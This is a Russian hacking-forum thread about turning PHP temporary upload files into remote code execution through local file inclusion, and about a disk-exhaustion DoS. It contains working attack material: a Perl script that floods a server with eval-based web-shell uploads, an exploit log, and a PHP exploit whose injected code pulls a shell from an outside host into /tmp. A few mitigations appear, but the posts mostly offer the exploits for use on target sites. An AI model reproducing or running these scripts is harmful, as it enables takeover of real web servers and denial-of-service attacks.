Авторские статьи Новое слово в технике инклудов или фичи $_FILES[]

Discussion in 'Статьи' started by Elekt, 12 Oct 2007.

  1. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
    Впервые представляем Вам альтернативу инклуда лог-файлов и файлов сессий.

    Вобщем, изучая аплодинг файлов на веб обнаружились некоторые особенности, которые можно очень успешно заюзать.

    Для начала поясню особенность PHP, которую мы будем эксплуатировать.

    При обращении к любому пхп-скрипту, если в http-пакете есть масcив _FILES(например, POST: Content-Type: multipart/form-data; ) - то PHP АВТОМАТИЧЕСКИ(file_uploads=On) начинает заливать этот файл во временную папку.

    php.ini (default)

    - file_uploads=On
    - upload_max_filesize=30M
    - upload_tmp_dir=/tmp
    - session.serialize_handler=php


    Временный файл льется в upload_tmp_dir, имя начинается с session.serialize_handler (тут я может быть ошибусь, но суть верна), кончается 6-ти значным рэндомным набором из [a-zA-Z0-9], и размер его не может превышать upload_max_filesize, например:

    /tmp/php6Dekf9

    Временный файл существует во время выполнения скрипта.

    Далее я поясню как это можно использовать.

    [1] Инклуд временного файла.

    a) если есть бесполезный локальный инклуд на сервере, а загрузить ничего нельзя или нельзя использовать нулл-байт, лог-файлы недоступны, и сессии не используются...

    В результате эксперимента было установленно - при отправке специально сформированного http-пакета:

    - [Content-Length:] указывается заведомо больше, например 10кб, а данные отправляются на 2кб;
    - не закрывается заголовок данных, например [------------KseXD1T8WvJUtBSzkT5hn7].
    Тоесть пакет обрывается - это делается элементарно с помощью NRG-Tools или других программ.
    - размер пакета должен быть более 2кб(опытно выяснено), иначе он просто не начнет писаться в файл.


    ...происходит НЕудаление созданного файла.
    Сокет ждет до победного конца, умирает, а файл лежит себе в темпе.

    Поскольку диапазон имени ограничен 1000000*36 комбинациями - мы можем пробрутить имя файла и угадав его - выполнить произвольные команды на сервере.

    б) имея локальный инклуд на сервере и забытый админом скрипт phpinfo() мы можем сделать следующее:
    - оправляем на скрипт phpinfo() http-пакет c пхп-кодом.
    - используя ограничение трафика при помощи прокси-сервера или альтернативу - BWMeter - урезаем прием входящих данных до нескольких десятков байт.
    - ждем когда скрипт возвратит нам вывод phpinfo()
    - и тут внимание! параметр [tmp_name] выводится в последних строчках, а как только сокет закроется - временный файл будет удален! мы должны сграбить\скопипастить имя и отправить его на инклуд немедленно.

    Я не смог найти локальный прокси-сервер, позволяющий регулировать скрость(ширину) канала.
    Прошу Вас подсказать такой.
    (Эксперимент был проведен используя BWMeter, из-за чего результаты являются частично достоверными)


    [2] Также данную особенность можно использовать для серьезного усиления http DoS-атаки.

    Поскольку тематика ддос-атак на античате запрещена, поясняю это с точки зрения возможной угрозы.

    Используя в качестве усилителя _FILES данные атакующий способен исчерпать дисковое пространство атакуемого сервера.

    По умолчанию каждый бот может на каждом подключении занимать до 30Мб дискового пространства в течении времени посылки запроса и загрузки файла + времени на принятие ответа.
    Время посылки и приема может быть умышленно растянуто для максимального длительного использования свободного места.
    По времени одно подключение составит 1 мин запроса + 1 мин ответа (в среднем).

    Даже малочисленный ботнет способен оказывать эффективное давление на сервер с МИНИМАЛЬНЫМ колличеством и скоростью подключений.

    Более того - как раз медленный канал бота будет более губителен для атакуемого сервера.

    Выводы делайте сами.

    В настоящий момент единственный способ противостоять - отключить file_upload в php.ini.

    =================================


    PHP [file_uploads] & [max_execution_time] DoS Exploit

    Описание:

    Реализация [file_uploads] в PHP содержит уязвимость, позволяющую удаленному атакующему загрузить на целевой сервер произвольное кол-во файлов,
    что в итоге повлечет за собой исчерпание свободного дискового пространства в папке временных файлов.

    Суть уязвимости:

    Сервер принимает POST-пакет с файлом.
    Размер пакета указывается заведома больше истинного( как минимум на 5 байт).
    Якоба незаконченная передача заставляет сервер слушать соединение.
    Когда время исполнения пхп-скрипта превысит [max_execution_time], процесс выполнения скрипта экстренно завершится фаталл-еррором.
    При этом кешированный временный файл не будет удален. И так далее.

    Особенности атаки:

    - атакующий посылает специально сформированный POST-запрос ("multipart/form-data") , содержащий файл, к любому пхп-скрипту на сервере
    - размер отсылаемого файла должен быть не больше максимально установленного значения директивы PHP [upload_max_filesize] (Default=30Мб)
    - Http-хидер "Content-length" указывается как минимум на 5ть байт больше истинного размера пакета.
    - соединение с сервером поддерживается дольше чем PHP [max_execution_time].
    - максимальное время установленного соединения клиент-сервер в фаерволе и веб-демоне(apache) должно быть больше PHP [max_execution_time],
    иначе соединение разорвется и выполнение скрипта завершится корректно как для отсоединившегося юзера (http://php.su/phphttp/?connhandling)

    Варианты защиты от атаки:
    ~ запретить [file_uploads]
    ~ поставить очистку временной папки
    ~ указать время установленного соединения клиент-сервер в фаерволе и веб-демоне(apache) менее чем PHP [max_execution_time]




     

    Attached Files:

    #1 Elekt, 12 Oct 2007
    Last edited: 18 Mar 2008
  2. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    тема хорошая но чето не получается у меня вывести после phpinfo() думаю так как сокет веб сервера продолжает ждать входящих данных так как длина указаао больше поэтому и не выводит ничего а ждет завершения приема данных. хз может я неправ.
    есть в этом случае как мне представляется два выхода это если существует возможность просматривать /tmp и какие файлы там лежат или если в скрипте после phpinfo идет код подвисающий скрипт.

    ===================================

    Эксплуатация _FILES в локальных инклудах.
    Бага открыта и техника эксплуатации разаработана Шанкаром, описано Электом)

    При наличии локального инклуда и соответствии его ниже приведенным требованиям - Вы можете без всяких дополнительных телодвижений выполнить PHP-код.

    Тоесть Вам не потребуется грузить дополнительный файл с шелом на сервер, как аватару например, не нужно заботится об отрубании расширения нулл-байтом!

    Вкуриваете? +)

    NEED: register_globals=ON
    NEED: бажная переменая не должна состоять в _GET, _POST, _COOKIE, тоесть классический случай НЕЗАДАННОЙ переменной вида include($xxx)
    NEED: мы должны знать имя бажной переменной, например для данного случая
    bag.php => <?php include $xxx;?>
    имя переменной "xxx"

    Суть:

    Послав специально сформированный "enctype=multipart/form-data" _FILES POST-запрос сожержащий файл с произвольным PHP-кодом, на сервер к скрипту, уязвимому к локальному инклуду по вышеприведенным требованиям, ПОСЛАННЫЙ ФАЙЛ ПРОИНКЛУДИТСЯ И PHP-код СОДЕРЖАЩИЙСЯ В НЕМ ВЫПОЛНИТСЯ!!!

    Пример:

    register_globals=ON

    bag.php
    PHP:
    <?php
    include $xxx;
    ?>
    HTML:
    <form action="http://www.site.com/bag.php" method=post enctype="multipart/form-data">
    <input type="file" name="xxx">
    <input type="submit">
    </form>
    Выбираем файл с шелом и шлем.

    ===================================

    Я считаю, что данный метод есть частный случай эксплуатации бага, описанного на секлабе:

    http://www.securitylab.ru/vulnerability/241602.php


     
    #2 ShAnKaR, 13 Oct 2007
    Last edited by a moderator: 13 Oct 2007
    4 people like this.
  3. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    поясню немного еще: при аплоаде файлов имя поля файла тоесть к примеру 'xxx' в
    то в скрипте появляется переменная $xxx со значением tmp_name из массива $_FILES тоесть примерно /tmp/php6Dekf9
    в итоге загружаемый файло грузитсо в /tmp/php6Dekf9 и инклудится скриптом
    PHP:
    <? include $xxx?>
    но соответственно не будет работать если
    скрипт например такой:
    PHP:
    <? include './'.$xxx?>
    и тп тоесть путь не должен изменятся , вы скажете что в таком скрипте можно спокойно проинклудить удаленный файл это конечно так но в случае запрета в настройках php удаленного юзанья файлов можно использовать данную фичу описанную выше. вот собственно и все.
     
    #3 ShAnKaR, 13 Oct 2007
    Last edited: 13 Oct 2007
    1 person likes this.
  4. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
    В продолжение "Инклуд временного файла через PHPINFO()".


    Поковырялся я тут с сабжем. Есть что вам рассказать.


    Действительно, временный файл удаляется намного раньше чем мы его успеваем считать с вывода phpinfo().

    Однако, в том случае, если после вызова пхпинфо идет еще код, то чем дольше этот код выполняется, тем больше у нас шансов успеть получить имя временного файла до его удаления.

    Пусть есть сервер www.target.com
    На нем есть вывод phpinfo() - http://www.target.com/i.php
    А также инклуд - http://www.target.com/index.php?page=[LFI]

    Казалось бы, мы не можем увеличить время выполнения i.php , а значит ничего не выйдет.
    Но это не так.

    Мы можем подключить локально i.php через имеющийся инклуд, а поскольку после инклуда есть еще код , то мы получаем бонусное время задержки, которого при удаче может вполне хватить!

    http://www.target.com/index.php?page=../../../../../../../www/site/htdocs/public_html/i.php%00

    Тогда отправив на такой URL пост-пакет с файлом содержащем PHP-код, построчно считываем ответ.
    И как только получаем имя временного файла - тянем время не разрывая коннекта, и тут же параллейно инклудим загруженный временный файл с PHP-кодом.

    Теоритически атаку можно применить к большому числу движков, имеющих инклуд и вывод phpinfo() в админке.
    Например тотже phplive, где при magic_quotes=on или без доступа к /super нельзя загрузить шелл.

    Простенький эксплоит, автоматизирующий процесс, прилагается.
    Я оставил закоментированными дополнительные поля - если потребуется - их можно легко заполнить необходимыми данными, например кукисом или реферером.

    Эксперимент успешно проведен в локалке на файле с вот таким кодом:

    1.php
    PHP:
    <?php;phpinfo();?>
    2.php
    PHP:
    <?php

    ob_implicit_flush
    (1);

    include(
    $_GET['page']);

    for(
    $i=1;$i<100000;$i++){$bla='bla';}

    ?>
    Лог работы для примера:

    Code:
    perl phpinfo_lfi.pl" -p "/var/www/html/1.php" -l "http://192.168.1.200/2.php?page="
    
    [+] HOST    "192.168.1.200"
    [+] PHPINFO "/var/www/html/1.php"
    [+] LFI     "http://192.168.1.200/2.php?page="
    
    [-1-] Temp shell uploading. Please wait... Ok!
    [-2-] Searching temp path to shell... Ok!
    [+++] Temp path to shell found: "/tmp/phph3444w"
    [-3-] Try to create new shell... Ok!
    [+++] New shell created successfully: "/tmp/phph3444wshell"
    
    [i] http://192.168.1.200/2.php?page=../../../../../../../../../../..
    /../tmp/phph3444wshell

    По идее надо испытать на админках в разных двигах, где выполняются условия.
     

    Attached Files:

    #4 Elekt, 19 Jan 2008
    Last edited: 19 Jan 2008
  5. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    В продолжение
    хочу добавить:
    к примеру ситуация - есть инклуд с изменяемым началом пути файла, а также конц (если нет возможности урезать ядовитым нулем), но фаер не пускает загрузить шел с другого сайта или к примеру парсится значение на http/ftp etc
    можно использовать URl php://input и отсылку кода в $HTTP_RAW_POST_DATA тоесть просто POST запросом с enctype="multipart/form-data", массив $_POST при этом остается пустым.
    не работает при allow_url_include=Off
     
    #5 ShAnKaR, 1 Oct 2008
    Last edited: 1 Oct 2008
  6. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    проверил , у меня сервер досится не от переполнения дискового пространства а от зависшей кучи запросов которые ожидают окончания, а файлы и так сами потом удаляются.
    error_log:
     
    #6 ShAnKaR, 2 Oct 2008
    Last edited: 2 Oct 2008
  7. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    в общем мучаю все один сайт там LFI но бля пока не нашел чего заинклудить можно - логи не доступны на чтение и тп, в общем все мучаю метод с загрузкой файлов:


    ну имя темпового файла генерируется из 'a-zA-Z0-9' - длинной в шесть символов с приставкой php
    следовательно всего возможных комбинаций может быть 68719476736
    мы знаем что в одном запросе можно послать сразу несколько файлов, если не ошибаюсь php проверяет размер POST запроса - чтоб был не больше определенного значения, таким образом мы ограничены

    эх в общем примерно таким скриптом :
    PHP:
    #!/usr/bin/perl -w
    use Socket;
    use threads;


    for my $i (1..100) {
      push @threads, threads->create(\&get_now, $i);
    }



    foreach my $thread (@threads) {
        $thread->join();
    }


    sub get_now
    {
       
    $dataf.="<?php eval(\$_GET['u']);?>";

    my $data='';
    my $host='localhost';

    $requestHeader = "POST /  HTTP/1.1\r\n";
    $requestHeader.= "Host: ".$host."\r\n";
    $requestHeader.= "Content-Type: multipart/form-data; boundary=---------------------------66201975630356\r\n";
    $requestHeader.= "Content-Length: 8388605\r\n\r\n";

    socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
    $iaddr = inet_aton($host);
    $paddr = sockaddr_in('80', $iaddr);
    connect(SOCK, $paddr);
    print SOCK $requestHeader;
    for($iup=1;$iup<47256;$iup++){
    print SOCK "-----------------------------66201975630356\r\n";
    print SOCK "Content-Disposition: form-data; name=\"x[".$iup."]\"; filename=\"x\"\r\n";
    print SOCK "Content-Type: text/plain\r\n\r\n";
    print SOCK "$dataf\r\n\r\n";
    }


    while(<SOCK>){
    print $_;
    }
    close(SOCK);
    }
    создается сразу куча файлов в, сколько именно посчитать не удалось )
    но примерно - если /tmp/phpa* - примерно 19k /tmp/phpb* -19k то логически можно предположить что гдето 120k
    потом апач мне еще показал ;
    в общем пока не разобрался во всей фигне доконца но очень интересно )

    в результате конечно хочу просто создать кучу файлов и наугад уже проинклудить один из них с кодом, пока вероятность всетаки еще очень маленькая гдето 1/60k )

    PS замучался чистить свой /tmp после, автоматом ничего не удалилось )
     
  8. SQLHACK

    SQLHACK Остались только слоны

    Joined:
    27 Sep 2006
    Messages:
    437
    Likes Received:
    372
    Reputations:
    407
    Windows

    И так если у нас есть возможность на хосте посмотреть phpinfo()

    то просто посылаем файл на phpinfo и смотрим [tmp_name]:

    Code:
    _FILES["xxx"]
    Array
    (
        [name] => Текстовый документ (5).txt
        [type] => text/plain
        [tmp_name] => Z:\tmp\php1FD.tmp
        [error] => 0
        [size] => 949
    )
    
    следующим запросом посылаем пхп скрипт снова инклюдим файл

    Z:\tmp\php1FE.tmp

    В Win имя файла генерируется так:

    phpXXXX.tmp

    где каждый X это шестнадцатиричное значение. Причём каждый новый вызов функции генерации имени просто прибавляет к цифре +1, нули слева обрезаются.

    Таким образом заливание при наличии phpinfo() сводится к посылке 2 файлов. Если phpinfo отсутствует можно впринципе сбрутить.
    Всего возможных значений 61440 вариантов( то есть по сути надо посылать файл и ждать пока его название не будет равно например php1111.tmp), потом счётчик сбрасывается. Главное не наступить на подводный камень. Имя генерит win , а не пхп, по этому если какая прога запущеная на сервере захочет создать временный файл, то она также прибавит по единице за каждый файл. но это вообщем то не беда.

    Тестировалось на WinXP. Но в msdn не сказано что функция или параметры отличаются в разных версиях ОС.
     
    _________________________
    1 person likes this.
  9. Rebz

    Rebz Banned

    Joined:
    8 Nov 2004
    Messages:
    4,052
    Likes Received:
    1,534
    Reputations:
    1,128
    Статья спущена с привата ввиду того, что уже частично раскрыта в паблике.
     
    1 person likes this.
  10. HBWS

    HBWS Member

    Joined:
    26 Nov 2010
    Messages:
    226
    Likes Received:
    22
    Reputations:
    0
    Подобная статья есть в последнем номере Хакера
     
  11. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    Сегодня пригодился метод который описан в четвертом посте, но к сожалению архив со сплоитом оказался битый, написал на php, может кому пригодится:
    PHP:
    <?php
    set_time_limit
    (0);

    function 
    data($host$path$code)
    {
            
    $boundary "---------------------------313223033317673";
            
            
    # создаем данные с файлом для отправки
            
    $head_file  $boundary."\r\n";
            
    $head_file .= "Content-Disposition: form-data; name=\"xxx\"; filename=\"shell.txt\"\r\n";
            
    $head_file .= "Content-Type: text/plain\r\n\r\n";
            
    $head_file .= $code."\r\n";
            
    $head_file .= $boundary."--\r\n";
            
            
    # создаем запрос для отправки
            
    $headers  "POST {$path} HTTP/1.1\r\n";
            
    $headers .= "Host: {$host}\r\n";
            
    $headers .= "Content-Type: multipart/form-data; boundary=".substr($boundary,2,strlen($boundary))."\r\n";
            
    $headers .= "Content-Length: ".strlen($head_file)."\r\n\r\n";
            
            return 
    $headers.$head_file;
    }

    function 
    send($host$path$code)
    {
        
    # открываем поток
        
    if( $socket fsockopen($host80$errno$errstr30) )
        {
            
    $data data($host$path$code);
            
    # отправляем запрос серверу
            
    fwrite($socket$data);
            while (!
    feof($socket))
            {
                if( 
    preg_match_all('/\[tmp_name\] =&gt; (.*)/'fread($socket32000), $result) ) break;
            }
            
    fclose($socket);
            
    # возвращаем временный путь
            
    return trim($result[1][0]).'%00';
        }
        else
        {
            return 
    false;
        }
    }

    $host "target.com";
    $path '/bug.php?var=../../../../../..';
    $file '/home/target/htdocs/scripts/phpinfo.php%00';
    $targ $path.$file;

    $code "<?php if(copy('http://www.site.com/shell.txt', '/tmp/shell.php')) print 'ooook'; ?>";

    for(
    $i=1;$i<21;$i++)
    {
        if( 
    $tmp send($host$targ$code) )
        {
            if( 
    preg_match('/ooook/'file_get_contents('http://'.$host.$path.$tmp)) )
            {
                print 
    $i.' shell: http://'.$host.$path.'/tmp/shell.php<br>';
                break;
            }
            else
            {
                print 
    $i.' fail<br>'
            }
        }
    }
    ?>
     
    _________________________
    #11 Expl0ited, 17 May 2011
    Last edited: 17 May 2011
    1 person likes this.